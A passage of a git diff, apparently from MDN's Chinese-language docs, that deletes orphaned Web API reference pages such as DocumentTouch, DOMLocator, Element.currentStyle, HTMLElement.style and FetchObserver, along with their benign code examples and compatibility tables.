<dd>Returns an array of all nodes at the specified coordinates.</dd> -</dl> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('Shadow DOM','#extensions-to-the-documentorshadowroot-mixin','DocumentOrShadowRoot')}}</td> - <td>{{Spec2('Shadow DOM')}}</td> - <td>Implementation in Shadow DOM.</td> - </tr> - <tr> - <td>{{SpecName('DOM WHATWG','#mixin-documentorshadowroot','DocumentOrShadowRoot')}}</td> - <td>{{Spec2('DOM WHATWG')}}</td> - <td>Initial definition.</td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - - - -<p>{{Compat("api.DocumentOrShadowRoot")}}</p> - -<p>[1] This interface's features are still implemented on the {{DOMxRef("Document")}} object.</p> diff --git a/files/zh-cn/orphaned/web/api/documenttouch/index.html b/files/zh-cn/orphaned/web/api/documenttouch/index.html deleted file mode 100644 index 9dd10a6ba5..0000000000 --- a/files/zh-cn/orphaned/web/api/documenttouch/index.html +++ /dev/null @@ -1,33 +0,0 @@ ---- -title: DocumentTouch -slug: orphaned/Web/API/DocumentTouch -translation_of: Web/API/DocumentTouch -original_slug: Web/API/DocumentTouch ---- -<p>{{ ApiRef("DOM") }}</p> - -<p>{{ obsolete_header(25) }}</p> - -<p><strong style="font-size: 12px; line-height: 18px; background-color: rgba(230, 96, 0, 0.45098);">从Gecko 25 (Firefox 25 / Thunderbird 25 / SeaMonkey 2.22)开始被废弃</strong></p> - -<p><span style="font-size: 12px; line-height: 18px; background-color: rgba(230, 96, 0, 0.45098);">本特性已经被废弃,虽然它仍然可以在一些浏览器中工作,它随时都可能被移除,我们不鼓励使用它,你应尽量避免使用它。</span></p> - -<p><code>DocumentTouch</code> 接口提供了一个便利的方法来创建 {{ domxref("Touch") }} 和 {{ domxref("TouchList") }} 对象, 可是它将被移除。 但这个方法将会继续在{{domxref("Document")}} 接口中存在.</p> - -<h2 id="方法">方法</h2> - -<dl> - <dt>{{ domxref("DocumentTouch.createTouch()") }}</dt> - <dd>创建一个新的 {{ domxref("Touch") }} 对象.</dd> - <dt>{{ domxref("DocumentTouch.createTouchList()") }}</dt> - <dd>创建一个新的 {{ domxref("TouchList") }} 对象.</dd> -</dl> - -<h2 id="更多">更多</h2> - -<ul> - <li><a href="/en/DOM/Touch_events" title="en/DOM/Touch events">Touch events</a></li> - <li>{{ domxref("Touch") }}</li> - <li>{{ domxref("TouchList") }}</li> - <li>{{ domxref("TouchEvent") }}</li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/domlocator/index.html b/files/zh-cn/orphaned/web/api/domlocator/index.html deleted file mode 100644 index 36266f2b67..0000000000 --- a/files/zh-cn/orphaned/web/api/domlocator/index.html +++ /dev/null @@ -1,51 +0,0 @@ ---- -title: DOMLocator -slug: orphaned/Web/API/DOMLocator -translation_of: Web/API/DOMLocator -original_slug: Web/API/DOMLocator ---- -<p>{{APIRef("DOM")}}{{obsolete_header}}</p> - -<div class="warning"> -<p>NOTE: This is not implemented in Mozilla</p> -</div> - -<p>Indicates a location such as where an error occurred. Returned by DOMError.location.</p> - -<h2 id="Properties">Properties</h2> - -<dl> - <dt>{{domxref("DOMLocator.lineNumber")}} {{ReadOnlyInline}}</dt> - <dd>Returns a positiove integer or -1.</dd> - <dt>{{domxref("DOMLocator.columnNumber")}} {{ReadOnlyInline}}</dt> - <dd>Returns a positiove integer or -1.</dd> - <dt>{{domxref("DOMLocator.byteOffset")}} {{ReadOnlyInline}}</dt> - <dd>Returns a positiove integer or -1.</dd> - <dt>{{domxref("DOMLocator.utf16Offset")}} {{ReadOnlyInline}}</dt> - <dd>Returns a positiove integer or -1.</dd> - <dt>{{domxref("DOMLocator.relatedNode")}} {{ReadOnlyInline}}</dt> - <dd>Returns a positiove integer or -1.</dd> - <dt>{{domxref("DOMLocator.uri")}} {{ReadOnlyInline}}</dt> - <dd>Returns a positiove integer or -1.</dd> -</dl> - -<h2 id="Methods">Methods</h2> - -<p><em>This interface neither implements, nor inherits, any method.</em></p> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName("DOM3 Core", "core.html#Interfaces-DOMLocator", "DOMLocator")}}</td> - <td>{{Spec2("DOM3 Core")}}</td> - <td>Initial definition</td> - </tr> - </tbody> -</table> diff --git a/files/zh-cn/orphaned/web/api/element/currentstyle/index.html b/files/zh-cn/orphaned/web/api/element/currentstyle/index.html deleted file mode 100644 index c2f23d78b4..0000000000 --- a/files/zh-cn/orphaned/web/api/element/currentstyle/index.html +++ /dev/null @@ -1,77 +0,0 @@ ---- -title: Element.currentStyle -slug: orphaned/Web/API/Element/currentStyle -translation_of: Web/API/Element/currentStyle -original_slug: Web/API/Element/currentStyle ---- -<div>{{APIRef("DOM")}}</div> - -<p>{{ Non-standard_header() }}</p> - -<h2 id="概述">概述</h2> - -<p><strong><code>Element.currentStyle</code></strong> 是一个与 {{domxref("window.getComputedStyle")}}方法功能相同的属性。这个属性实现在旧版本的IE浏览器中.</p> - -<h2 id="规范">规范</h2> - -<p>没有相关规范。</p> - -<p>Microsoft <a href="https://msdn.microsoft.com/en-us/library/ms535231(v=vs.85).aspx">在MSDN中对该属性进行了描述</a>.</p> - -<h2 id="Browser_Compatibility" name="Browser_Compatibility">浏览器兼容性</h2> - -<p>{{ CompatibilityTable() }}</p> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Chrome</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Microsoft Edge</th> - <th>Opera</th> - <th>Safari (WebKit)</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{ CompatNo() }}</td> - <td>{{ CompatNo() }}</td> - <td>6</td> - <td>{{ CompatNo() }}</td> - <td>{{ CompatNo() }}</td> - <td>{{ CompatNo() }}</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Android</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Phone</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{ CompatNo() }}</td> - <td>{{ CompatNo() }}</td> - <td>{{ CompatUnknown() }}</td> - <td>{{ CompatUnknown() }}</td> - <td>{{ CompatNo() }}</td> - </tr> - </tbody> -</table> -</div> - -<h2 id="参见">参见</h2> - -<ul> - <li>{{domxref("Element.runtimeStyle")}}</li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/element/runtimestyle/index.html b/files/zh-cn/orphaned/web/api/element/runtimestyle/index.html deleted file mode 100644 index 80aca7048a..0000000000 --- a/files/zh-cn/orphaned/web/api/element/runtimestyle/index.html +++ /dev/null @@ -1,77 +0,0 @@ ---- -title: Element.runtimeStyle -slug: orphaned/Web/API/Element/runtimeStyle -translation_of: Web/API/Element/runtimeStyle -original_slug: Web/API/Element/runtimeStyle ---- -<div>{{APIRef("DOM")}}</div> - -<p>{{ Non-standard_header() }}</p> - -<h2 id="概要">概要</h2> - -<p><span class="seoSummary"><strong><code>Element.runtimeStyle</code> </strong>是一个元素专有属性,和 {{domxref("HTMLElement.style")}} 相似,除了其中的样式属性外<strong>,</strong>{{domxref("HTMLElement.style")}} 具有更高的优先级和修改能力。<strong><code>runtimeStyle</code> </strong></span>不能修改 <code><a href="/en-US/docs/Web/HTML/Global_attributes/style">style</a></code> 中的<code>content</code>属性,其<span class="seoSummary">在旧版的IE浏览器上可用。</span></p> - -<h2 id="规范">规范</h2> - -<p>不属于任何规范的一部分。</p> - -<p>微软对此有一篇<a href="https://msdn.microsoft.com/en-us/library/ms535889(v=vs.85).aspx">描述文档</a> <a href="https://msdn.microsoft.com/en-us/library/ms535889(v=vs.85).aspx">has a description on MSDN</a>.</p> - -<h2 id="Browser_Compatibility" name="Browser_Compatibility">浏览器兼容性</h2> - -<p>{{ CompatibilityTable() }}</p> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>特性</th> - <th>Chrome</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Microsoft Edge</th> - <th>Opera</th> - <th>Safari (WebKit)</th> - </tr> - <tr> - <td>基本支持</td> - <td>{{ CompatNo() }}</td> - <td>{{ CompatNo() }}</td> - <td>6</td> - <td>{{ CompatNo() }}</td> - <td>{{ CompatNo() }}</td> - <td>{{ CompatNo() }}</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Android</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Phone</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td>基本支持</td> - <td>{{ CompatNo() }}</td> - <td>{{ CompatNo() }}</td> - <td>{{ CompatUnknown() }}</td> - <td>{{ CompatUnknown() }}</td> - <td>{{ CompatNo() }}</td> - </tr> - </tbody> -</table> -</div> - -<h2 id="相关链接">相关链接</h2> - -<ul> - <li>{{domxref("Element.currentStyle")}}</li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/elementcssinlinestyle/style/index.html b/files/zh-cn/orphaned/web/api/elementcssinlinestyle/style/index.html deleted file mode 100644 index fae28c710d..0000000000 --- a/files/zh-cn/orphaned/web/api/elementcssinlinestyle/style/index.html +++ /dev/null @@ -1,81 +0,0 @@ ---- -title: HTMLElement.style -slug: orphaned/Web/API/ElementCSSInlineStyle/style -translation_of: Web/API/ElementCSSInlineStyle/style -original_slug: Web/API/ElementCSSInlineStyle/style ---- -<div>{{ APIRef("HTML DOM") }}</div> - -<p><code><strong>HTMLElement.style</strong></code> 属性返回一个 <a href="/zh-US/docs/DOM/CSSStyleDeclaration" title="DOM/CSSStyleDeclaration"><code>CSSStyleDeclaration</code></a> 对象,表示元素的 内联<a href="/zh-CN/docs/Web/HTML/Global_attributes#style"><code>style</code> 属性(attribute)</a>,但忽略任何样式表应用的属性。 通过 <code>style</code> 可以访问的 CSS 属性列表,可以查看 <a href="/en-US/docs/Web/CSS/CSS_Properties_Reference" title="/en-US/docs/Web/CSS/CSS_Properties_Reference">CSS Properties Reference</a>。</p> - -<p>由于 <code>style</code> 属性的优先级和通过style设置内联样式是一样的,并且在css层级样式中拥有最高优先级,因此在为特定的元素设置样式时很有用。</p> - -<h3 id="设置_style_属性">设置 <code>style</code> 属性</h3> - -<p>注意<strong>不能</strong>通过直接给style属性设置字符串(如:elt.style = "color: blue;")来设置style,因为style应被当成是只读的(尽管Firefox(Gecko), Chrome 和 Opera允许修改它),这是因为通过style属性返回的<code><a href="https://developer.mozilla.org/en-US/docs/DOM/CSSStyleDeclaration" title="DOM/CSSStyleDeclaration">CSSStyleDeclaration</a>对象是只读的。但是style属性本身的属性<strong>能</strong>够用来设置样式。此外,通过单独的样式属性(如</code>elt.style.color = '...'<code>)比用</code>elt.style.cssText = '...' 或者 elt.setAttribute('style', '...')形式更加简便,除非你希望完全通过一个单独语句来设置元素的全部样式,因为通过style本身属性设置的样式不会影响到通过其他方式设置的其他css属性的样式。</p> - -<h2 id="例子">例子</h2> - -<pre class="brush:js">// 在单个语句中设置多个样式 -elt.style.cssText = "color: blue; border: 1px solid black"; -// 或者 -elt.setAttribute("style", "color:red; border: 1px solid blue;"); - -// 设置特定样式,同时保持其他内联样式值不变 -elt.style.color = "blue"; -</pre> - -<h3 id="获取元素样式信息">获取元素样式信息</h3> - -<p>通常,要了解元素样式的信息,仅仅使用 <code>style</code> 属性是不够的,这是因为它只包含了在元素内嵌 style 属性(attribute)上声明的的 CSS 属性,而不包括来自其他地方声明的样式,如 {{HTMLElement("head")}} 部分的内嵌样式表,或外部样式表。要获取一个元素的所有 CSS 属性,你应该使用 {{domxref("window.getComputedStyle()")}}。</p> - -<pre class="brush: html"><!DOCTYPE HTML> -<html> -<body style="font-weight:bold;"> - - <div style="color:red" id="myElement">..</div> - - </body> -</html></pre> - -<p>下面的代码输出 style 所有属性的名字,以及为元素 <code>elt</code> 显式设置的属性值和继承的计算值(computed value):</p> - -<pre class="brush: js">var element = document.getElementById("myElement"); -var out = ""; -var elementStyle = element.style; -var computedStyle = window.getComputedStyle(element, null); - -for (prop in elementStyle) { - if (elementStyle.hasOwnProperty(prop)) { - out += " " + prop + " = '" + elementStyle[prop] + "' > '" + computedStyle[prop] + "'\n"; - } -} -console.log(out)</pre> - -<p>输出结果如下:</p> - -<pre>... -fontWeight = '' > 'bold' -color = 'red' > 'rgb(255, 0, 0)' -... -</pre> - -<p>请注意,计算样式中font-weight的值为“bold”,元素的style属性中缺少该值</p> - -<h2 id="Specification" name="Specification">规范</h2> - -<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Style/css.html#CSS-ElementCSSInlineStyle">DOM Level 2 Style: ElementCSSInlineStyle.style</a></p> - -<p><a href="https://www.w3.org/TR/cssom-1/#the-elementcssinlinestyle-interface">CSSOM: ElementCSSInlineStyle</a></p> - -<h2 id="兼容性">兼容性</h2> - - - -<p>{{Compat("api.HTMLElement.style")}}</p> - -<h2 id="相关链接">相关链接</h2> - -<ul> - <li><a href="/zh-CN/docs/DOM/Using_dynamic_styling_information" title="DOM/Using dynamic styling information">Using dynamic styling information</a></li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/entity/index.html b/files/zh-cn/orphaned/web/api/entity/index.html deleted file mode 100644 index bcece696c5..0000000000 --- a/files/zh-cn/orphaned/web/api/entity/index.html +++ /dev/null @@ -1,53 +0,0 @@ ---- -title: Entity -slug: orphaned/Web/API/Entity -translation_of: Web/API/Entity -original_slug: Web/API/Entity ---- -<p>{{APIRef("DOM")}} {{draft}} {{obsolete_header}}</p> - -<p>对DTD实体的只读引用. 也继承 {{domxref("Node")}} 的方法和属性。</p> - -<h2 id="属性">属性</h2> - -<dl> - <dt>{{domxref("Entity.publicId")}} {{ReadOnlyInline}}</dt> - <dd>Is a {{domxref("DOMString")}}.</dd> - <dt>{{domxref("Entity.systemId")}} {{ReadOnlyInline}}</dt> - <dd>Is a {{domxref("DOMString")}}.</dd> - <dt>{{domxref("Entity.notationName")}}{{ReadOnlyInline}}</dt> - <dd>Is a {{domxref("DOMString")}}.</dd> - <dt>{{domxref("Entity.inputEncoding")}}{{ReadOnlyInline}}</dt> - <dd>Is a {{domxref("DOMString")}}.</dd> - <dt>{{domxref("Entity.xmlEncoding")}}{{ReadOnlyInline}}</dt> - <dd>Is a {{domxref("DOMString")}}.</dd> - <dt>{{domxref("Entity.xmlVersion")}}{{ReadOnlyInline}}</dt> - <dd>Is a {{domxref("DOMString")}}.</dd> -</dl> - -<h2 id="规范">规范</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th>Specification</th> - <th>Status</th> - <th>Comment</th> - </tr> - <tr> - <td>{{SpecName("DOM3 Core", "core.html#ID-527DCFF2", "Entity")}}</td> - <td>{{Spec2("DOM3 Core")}}</td> - <td><code>inputEncoding</code>, <code>xmlEncoding</code>, and <code>xmlVersion</code> were added</td> - </tr> - <tr> - <td>{{SpecName("DOM2 Core", "core.html#ID-527DCFF2", "Entity")}}</td> - <td>{{Spec2("DOM2 Core")}}</td> - <td>No change</td> - </tr> - <tr> - <td>{{SpecName('DOM1', 'level-one-core.html#ID-527DCFF2', 'Entity')}}</td> - <td>{{Spec2('DOM1')}}</td> - <td>Initial definition</td> - </tr> - </tbody> -</table> diff --git a/files/zh-cn/orphaned/web/api/fetchobserver/index.html b/files/zh-cn/orphaned/web/api/fetchobserver/index.html deleted file mode 100644 index aa930a2e4a..0000000000 --- a/files/zh-cn/orphaned/web/api/fetchobserver/index.html +++ /dev/null @@ -1,146 +0,0 @@ ---- -title: FetchObserver -slug: orphaned/Web/API/FetchObserver -translation_of: Web/API/FetchObserver -original_slug: Web/API/FetchObserver ---- -<div>{{draft}}{{APIRef("Fetch API")}}{{SeeCompatTable}}</div> - -<p><font><font>在</font></font><strong><code>FetchObserver</code></strong><font><font>接口</font></font><a href="https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API"><font><font>提取API</font></font></a><font><font>表示观察者对象,它允许您检索关于为获取请求的状态信息。</font></font></p> - -<h2 id="Properties">Properties</h2> - -<p><em><font><font>FetchObserver接口从其父接口继承属性</font></font><a href="https://developer.mozilla.org/en-US/docs/Web/API/EventTarget" title="EventTarget是一个由可以接收事件的对象实现的接口,并且可以为它们提供监听器。"><code>EventTarget</code></a><font><font>。</font></font></em></p> - -<dl> - <dt>{{domxref("FetchObserver.state")}} {{readonlyInline}}</dt> - <dd>Returns a <code>FetchState</code> enum value indicating the current state of the fetch request.</dd> -</dl> - -<h3 id="Event_handlers">Event handlers</h3> - -<dl> - <dt>{{domxref("FetchObserver.onstatechange")}}</dt> - <dd>Invoked when a {{event("statechange_(cancellable_fetch)", "statechange")}} event fires, i.e. when the state of the fetch request changes.</dd> - <dt>{{domxref("FetchObserver.onrequestprogress")}}</dt> - <dd>Invoked when a {{event("requestprogress")}} event fires, i.e. when the request progresses.</dd> - <dt>{{domxref("FetchObserver.onresponseprogress")}}</dt> - <dd>Invoked when a {{event("responseprogress")}} event fires, i.e. when the download of the response progresses.</dd> -</dl> - -<h2 id="Methods">Methods</h2> - -<p><em>The FetchSignal interface inherits methods from its parent interface, {{domxref("EventTarget")}}.</em></p> - -<h2 id="Examples">Examples</h2> - -<p>In the following snippet, we create a new {{domxref("FetchController")}} object, get its <code>signal</code>, and then give the signal to the <a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch">fetch request</a> via the signal parameter of its <code>init</code> object so the controller can control it. Later on we specify an event listener on a cancel button so that when the button is clicked, we abort the fetch request using {{domxref("FetchController.abort()")}}.</p> - -<p>We also specify an observe property inside the fetch request <code>init</code> object — this contains a {{domxref("ObserverCallback")}} object, the sole purpose of which is to provide a callback function that runs when the fetch request runs. This returns a {{domxref("FetchObserver")}} object that can be used to retrieve information concerning the status of a fetch request.</p> - -<p>Here we use {{domxref("FetchController.responseprogress")}} and {{domxref("FetchController.onstatechange")}} event handlers to respectively fill up a progress bar as more of the reponse downloads, and to determine when the download has completed and display a message to let the user know.</p> - -<p><strong>Note that these event handlers are not yet supported anywhere.</strong></p> - -<pre class="brush: js">var controller = new FetchController(); -var signal = controller.signal; - -downloadBtn.addEventListener('click', function() { - fetch(url, { - signal, - observe(observer) { - observer.onresponseprogress = function(e) { - progress.max = e.total; - progress.value = e.loaded; - } - - observer.onstatechange = function() { - if (observer.state = 'complete') { - reports.textContent = 'Download complete'; - } - } - } - }).then( ... ) // do something with the response -}); - -cancelBtn.addEventListener('click', function() { - controller.abort(); -});</pre> - -<p>You can find a work-in-progress demo showing usage of <code>FetchObserver</code> on GitHub (see the <a href="https://github.com/mdn/fetch-examples/tree/master/fetch-signal-controller-observer">source code</a> and the <a href="https://mdn.github.io/fetch-examples/fetch-signal-controller-observer/">live example</a>).</p> - -<h2 id="Specifications">Specifications</h2> - -<p>Not part of a specification yet.</p> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - -<p>{{CompatibilityTable}}</p> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Chrome</th> - <th>Edge</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari (WebKit)</th> - </tr> - <tr> - <td>Basic support</td> - <td> - <p>{{CompatNo}}</p> - </td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}<sup>[1]</sup></td> - <td>{{CompatNo}}</td> - <td> - <p>{{CompatNo}}</p> - </td> - <td>{{CompatNo}}</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Android</th> - <th>Android Webview</th> - <th>Edge</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Phone</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - <th>Chrome for Android</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}<sup>[1]</sup></td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - </tr> - </tbody> -</table> -</div> - -<p>[1] Hidden behind a preference in 55+ Nightly. In about:config, you need to create two new boolean prefs — <code>dom.fetchObserver.enabled</code> and <code>dom.fetchController.enabled</code> — and set the values of both to <code>true</code>.</p> - -<h2 id="See_also">See also</h2> - -<ul> - <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li> - <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li> - <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/fullscreenoptions/index.html b/files/zh-cn/orphaned/web/api/fullscreenoptions/index.html deleted file mode 100644 index c3328c99b2..0000000000 --- a/files/zh-cn/orphaned/web/api/fullscreenoptions/index.html +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: FullscreenOptions -slug: orphaned/Web/API/FullscreenOptions -translation_of: Web/API/FullscreenOptions -original_slug: Web/API/FullscreenOptions ---- -<p>{{APIRef("Fullscreen API")}}</p> - -<p><span class="seoSummary">当调用{{DOMxRef("Element.requestFullscreen", "requestFullscreen()")}} 元素以将该元素置于全屏模式时,使用 <strong><code>FullscreenOptions</code></strong> 字典提供配置选项。</span></p> - -<h2 id="属性">属性</h2> - -<dl> - <dt>{{DOMxRef("FullscreenOptions.navigationUI", "navigationUI")}}{{Optional_Inline}}</dt> - <dd>在元素处于全屏模式时,控制是否保持浏览器用户界面元素可见的字符串。默认的<code>“auto”</code>让浏览器做出这个决定。</dd> -</dl> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - -<p>{{Compat("api.FullscreenOptions")}}</p> - -<h2 id="另请参阅">另请参阅</h2> - -<ul> - <li><a href="/en-US/docs/Web/API/Fullscreen_API">Fullscreen API</a></li> - <li><a href="/en-US/docs/Web/API/Fullscreen_API/Guide">Guide to the Fullscreen API</a></li> - <li>{{DOMxRef("Element.requestFullscreen()")}}</li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/htmlelement/forcespellcheck/index.html b/files/zh-cn/orphaned/web/api/htmlelement/forcespellcheck/index.html deleted file mode 100644 index cde999ef48..0000000000 --- a/files/zh-cn/orphaned/web/api/htmlelement/forcespellcheck/index.html +++ /dev/null @@ -1,93 +0,0 @@ ---- -title: HTMLElement.forceSpellCheck() -slug: orphaned/Web/API/HTMLElement/forceSpellCheck -translation_of: Web/API/HTMLElement/forceSpellCheck -original_slug: Web/API/HTMLElement/forceSpellCheck ---- -<p>{{ APIRef("HTML DOM") }}{{SeeCompatTable}}</p> - -<p>强制对HTML元素进行拼写和语法检查,即使用户没有关注元素。此方法将覆盖浏览器的行为。检查的界面,例如是否出现红色下划线,由浏览器确定。</p> - -<h2 id="Syntax" name="Syntax">Syntax</h2> - -<pre class="syntaxbox">element.forceSpellCheck()</pre> - -<h2 id="Specification" name="Specification">Specifications</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('HTML WHATWG', 'interaction.html#dom-forcespellcheck', 'HTMLElement.forceSpellCheck()')}}</td> - <td>{{Spec2('HTML WHATWG')}}</td> - <td>Initial definition</td> - </tr> - <tr> - <td>{{SpecName('HTML5.1', 'editing.html#dom-forcespellcheck', 'HTMLElement.forceSpellCheck')}}</td> - <td>{{Spec2('HTML5.1')}}</td> - <td>First W3C snapshot of {{SpecName('HTML WHATWG')}} with the method defined in it.</td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - -<p>{{CompatibilityTable}}</p> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Chrome</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari (WebKit)</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Android</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Phone</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - </tr> - </tbody> -</table> -</div> - -<h2 id="See Also" name="See Also">See Also</h2> - -<ul> - <li><a href="/en-US/docs/Web/HTML/Controlling_spell_checking_in_HTML_formsControlling_spell_checking_in_HTML_forms">Controlling spell checking in HTML forms</a></li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/htmlhyperlinkelementutils/index.html b/files/zh-cn/orphaned/web/api/htmlhyperlinkelementutils/index.html deleted file mode 100644 index 399a1398da..0000000000 --- a/files/zh-cn/orphaned/web/api/htmlhyperlinkelementutils/index.html +++ /dev/null @@ -1,84 +0,0 @@ ---- -title: URLUtils -slug: orphaned/Web/API/HTMLHyperlinkElementUtils -translation_of: Web/API/HTMLHyperlinkElementUtils -original_slug: Web/API/HTMLHyperlinkElementUtils ---- -<p>{{ApiRef("URL API")}}{{SeeCompatTable}}</p> - -<p>The <strong><code>HTMLHyperlinkElementUtils</code></strong> mixin defines utility methods and properties to work with {{domxref("HTMLAnchorElement")}} and {{domxref("HTMLAreaElement")}}. These utilities allow to deal with common features like URLs.</p> - -<p>There are no objects of this type, but several objects {{domxref("HTMLAnchorElement")}} and {{domxref("HTMLAreaElement")}} implement it.</p> - -<h2 id="属性">属性</h2> - -<div class="note"> -<p><strong>注意:</strong>This interface doesn't inherit any property.</p> -</div> - -<dl> - <dt>{{domxref("HTMLHyperlinkElementUtils.href")}}</dt> - <dd>This is a {{domxref("USVString")}} containing the whole URL.</dd> - <dt>{{domxref("HTMLHyperlinkElementUtils.protocol")}}</dt> - <dd>This is a {{domxref("USVString")}} containing the protocol scheme of the URL, including the final <code>':'</code>.</dd> - <dt>{{domxref("HTMLHyperlinkElementUtils.host")}}</dt> - <dd>This is a {{domxref("USVString")}} containing the host, that is the <em>hostname</em>, and then, if the <em>port</em> of the URL is not empty (which can happen because it was not specified or because it was specified to be the default port of the URL's scheme), a <code>':'</code>, and the <em>port</em> of the URL.</dd> - <dt>{{domxref("HTMLHyperlinkElementUtils.hostname")}}</dt> - <dd>This is a {{domxref("USVString")}} containing the domain of the URL.</dd> - <dt>{{domxref("HTMLHyperlinkElementUtils.port")}}</dt> - <dd>This is a {{domxref("USVString")}} containing the port number of the URL.</dd> - <dt>{{domxref("HTMLHyperlinkElementUtils.pathname")}}</dt> - <dd>This is a {{domxref("USVString")}} containing an initial <code>'/'</code> followed by the path of the URL.</dd> - <dt>{{domxref("HTMLHyperlinkElementUtils.search")}}</dt> - <dd>This is a {{domxref("USVString")}} containing a <code>'?'</code> followed by the parameters of the URL.</dd> - <dt>{{domxref("HTMLHyperlinkElementUtils.hash")}}</dt> - <dd>This is a {{domxref("USVString")}} containing a <code>'#'</code> followed by the fragment identifier of the URL.</dd> - <dt>{{domxref("HTMLHyperlinkElementUtils.username")}}</dt> - <dd>This is a {{domxref("USVString")}} containing the username specified before the domain name.</dd> - <dt>{{domxref("HTMLHyperlinkElementUtils.password")}}</dt> - <dd>This is a {{domxref("USVString")}} containing the password specified before the domain name.</dd> - <dt>{{domxref("HTMLHyperlinkElementUtils.origin")}} {{readonlyInline}}</dt> - <dd>This returns a {{domxref("USVString")}} containing the origin of the URL (that is its scheme, its domain and its port).</dd> -</dl> - -<h2 id="方法">方法</h2> - -<div class="note"> -<p><strong>注意:</strong>This interface doesn't inherit any method.</p> -</div> - -<dl> - <dt>{{domxref("HTMLHyperlinkElementUtils.toString()")}}</dt> - <dd>This returns a {{domxref("USVString")}} containing the whole URL. It is a synonym for {{domxref("HTMLHyperlinkElementUtils.href")}}, though it can't be used to modify the value.</dd> -</dl> - -<h2 id="规范">规范</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">规范</th> - <th scope="col">状态</th> - <th scope="col">备注</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('HTML WHATWG', '#htmlhyperlinkelementutils', 'HTMLHyperlinkElementUtils')}}</td> - <td>{{Spec2('HTML WHATWG')}}</td> - <td>Initial definition</td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - - - -<p>{{Compat("api.HTMLHyperlinkElementUtils")}}</p> - -<h2 id="参见">参见</h2> - -<ul> - <li>Interfaces implementing this one: {{domxref("HTMLAnchorElement")}}, {{domxref("HTMLAreaElement")}}</li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/htmlorforeignelement/blur/index.html b/files/zh-cn/orphaned/web/api/htmlorforeignelement/blur/index.html deleted file mode 100644 index 98efb73c06..0000000000 --- a/files/zh-cn/orphaned/web/api/htmlorforeignelement/blur/index.html +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: HTMLElement.blur() -slug: orphaned/Web/API/HTMLOrForeignElement/blur -tags: - - API - - HTML DOM - - HTMLElement - - Method - 